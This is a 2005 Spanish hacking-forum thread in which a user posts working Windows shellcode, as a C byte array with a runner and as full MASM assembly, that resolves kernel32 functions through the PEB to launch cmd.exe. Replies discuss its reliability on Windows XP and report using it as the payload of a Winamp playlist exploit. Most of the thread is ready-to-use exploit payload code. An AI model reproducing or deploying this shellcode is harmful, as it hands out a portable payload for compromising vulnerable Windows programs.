Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de
Autor
|
Tema: shellcode que ejecuta cmd -Multiwindows- codigo C y ASM (Leído 3,874 veces)
|
byebye
Desconectado
Mensajes: 5.093
|
bueno pos eso aqui la dejo, ejecuta cmd sin usar direcciones hardcodeadas por lo que funciona en todos los windows (win2k/xp). gracias a rojodos por aguntarme en modo "desequilibrao"  . char shellcode[]= "\xEB\x29\x5D\x55\xC3\x47\x65\x74\x50\x72" "\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x01" "\x57\x69\x6E\x45\x78\x65\x63\x01\x63\x6D" "\x64\x2E\x65\x78\x65\x01\xFF\x01\x01\x01" "\x90\x90\x90\xE8\xD2\xFF\xFF\xFF\x8D\x45" "\xD5\x89\x45\xFC\x8B\xF8\xB0\x01\x33\xDB\xF2" "\xAE\xFE\x4F\xFF\x80\x3F\xFF\x75\xF6\x33" "\xC9\x83\xC1\x30\x64\x8B\x01\x83\xC0\x0C" "\x8B\x08\x83\xC1\x1C\x8B\x31\xAD\x8B\x40" "\x08\x89\x45\xF8\x8B\x40\x3C\x03\x45\xF8" "\x8B\x40\x78\x03\x45\xF8\x89\x45\xF4\x8B" "\x40\x20\x03\x45\xF8\x33\xD2\x33\xC9\x8B" "\x38\x03\x7D\xF8\x8B\x75\xFC\xB1\x0E\xF3" "\xA6\x74\x06\x83\xC0\x04\x42\xEB\xEC\xD1" "\xC2\x8B\x4D\xF4\x8B\x49\x24\x03\x4D\xF8" "\x03\xCA\x33\xDB\x66\x8B\x19\x8B\x45\xF4" "\x8B\x40\x1C\x03\x45\xF8\xC1\xC3\x02\x03" "\xC3\x8B\x18\x03\x5D\xF8\x8B\xF3\x8B\x45" "\xFC\x83\xC0\x0F\x50\xFF\x75\xF8\xFF\xD6" "\x8B\xC8\x8B\x45\xFC\x83\xC0\x17\x6A\x01" "\x50\xFF\xD1"; int main() { void (*s)()= (void *)shellcode; s(); return 0; }
|
|
|
|
« Última modificación: 10 Febrero 2005, 13:35 por Rojodos »
|
En línea
|
|
|
|
villa
Desconectado
Mensajes: 27
|
Pues puedes poner el codigo fuente??
gracias
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.320
Peace & Love
|
ese es el codigo fuente de la shellcode  , que tal un foro de shellcodes para todos ir aprendiendo sobre esto?
|
|
|
|
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
.386 model flat,stdcall
extrn ExitProcess:proc
.data
db 0
.code
inicio: jmp codigo datos: pop ebp push ebp ret db "GetProcAddress",1 db "WinExec",1 db "cmd.exe",1 dd 010101FFh nop nop nop
codigo: call datos lea eax,[ebp-2Bh] mov [ebp-4],eax mov edi,eax mov al,1h xor ebx,ebx acero: repne scasb dec byte ptr [edi-1] cmp byte ptr [edi],0FFh jne acero
xor ecx,ecx add ecx,30h mov eax,fs:[ecx] add eax,0Ch mov ecx,[eax] add ecx,1Ch mov esi,[ecx] lodsd mov eax,[eax+8h] mov [ebp-8],eax ; base de kernel32 ;######################### ;# Buscar GetProcAddress # ;######################### mov eax,[eax+03Ch] ; PE add eax,[ebp-8h] mov eax,[eax+78h] add eax,[ebp-8h] mov [ebp-0Ch],eax mov eax,[eax+20h] add eax,[ebp-8h] xor edx,edx xor ecx,ecx Busca: mov edi,[eax] add edi,[ebp-8h] mov esi,[ebp-4] mov cl,0Eh rep cmpsb je OK add eax,4 inc edx jmp Busca OK: ;######################### ;# Calcular la direccion # ;######################### rol edx,1 mov ecx,[ebp-0Ch] mov ecx,[ecx+24h] add ecx,[ebp-8h] add ecx,edx xor ebx,ebx mov bx,word ptr [ecx] mov eax,[ebp-0Ch] mov eax,[eax+1Ch] add eax,[ebp-8h] rol ebx,2 add eax,ebx mov ebx,[eax] add ebx,[ebp-8h] mov esi,ebx
mov eax,[ebp-4h] ; puntero a las cadenas add eax,0Fh push eax ; WinExec push [ebp-8h] call esi ; GetProcAddress mov ecx,eax mov eax,[ebp-4h] add eax,17h push 1 push eax call ecx
push 0 call ExitProcess
end inicio
|
|
|
|
|
En línea
|
|
|
|
|
Rojodos
|
No podia dormir  Ya se de donde has sacado la idea de esta shellcode mamonazo  De todas formas, ellos no la dan completa, solo el tema del PEB. Es de algun paper de 29a? Acabo de leer dos o tres articulos suyos y me kedao Mañana me esperan unas buenas lecturas  Salu2
|
|
|
|
|
En línea
|
|
|
|
|
|
|
RaiSe
|
Creo que te has colado con lo de que funciona en Windows XP. En el XP el codigo que maneja la interrupcion (el handler) no puede ir en la pila, si lo haces el programa genera una interrupcion no 'handleable' y sale del programa a toda leche sin posiblidad a hacer nada. En los demas windows si funciona. Ahora mismo no recuerdo si se reducia a la pila o cualquier memoria 'writeable'.
Los dos codigos funcionan en Windows XP porque el primero el array no va en la pila al ser una variable global inicializada, prueba a meterla dentro del main. O para comprobar lo de 'writeable' prueba a ponerle static delante.
En el segundo codigo todo el codigo (como me repito) va en el segmento de codigo (.code), con lo que no hay ningun problema, pero esa situacion obviamente no se puede reproducir en un programa ya compilado/ensamblado, o sea en la explotacion de un programa vulnerable.
Resumiendo, una shellcode que use SEH para averiguar direcciones en Windows XP no se puede hacer, o al menos no se como.
Saludos.
Crasse
|
|
|
|
« Última modificación: 16 Febrero 2005, 22:10 por Crasse »
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
pues se probo en un xp y funcionaba (yo no lo vi, lo pase el archivo compilado y funcionaba). no tengo xp para poder hacer yo mismo las pruebas, pero vamos si no va... pues no va jeje.
|
|
|
|
|
En línea
|
|
|
|
|
Rojodos
|
Yo la he probado con static, y metiendola en el main () y no va xDDDDDDD No se puede usar como shellcode para un exploit 
|
|
|
|
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
hombre, pues en la prueba del winamp utilice esa shellcode y funcionaba.
|
|
|
|
|
En línea
|
|
|
|
|
RaiSe
|
Funcionaria, pero no en un Windows XP, o si?. Saludos.
Crasse
|
|
|
|
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
la prueba del exploit era en 2k sp4, no en xp. en xp funcionaba compilado el c.
|
|
|
|
|
En línea
|
|
|
|
|
RaiSe
|
Si, pero por eso que expuse en el primer post de este hilo. Saludos.
|
|
|
|
|
En línea
|
|
|
|
TaU
Desconectado
Mensajes: 184
|
La SC la probé yo tambien con el bug del winamp en un wXP Home SP2 y funcionó a la perfección.
De hecho Rojodos, creo que te pase un generador de m3u para ese bug que llevaba esa shell.
Pruebalo a ver si te va.
Salu2
|
|
|
|
|
En línea
|
"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán. www.wadalbertia.org -<|¡^P
|
|
|
|
|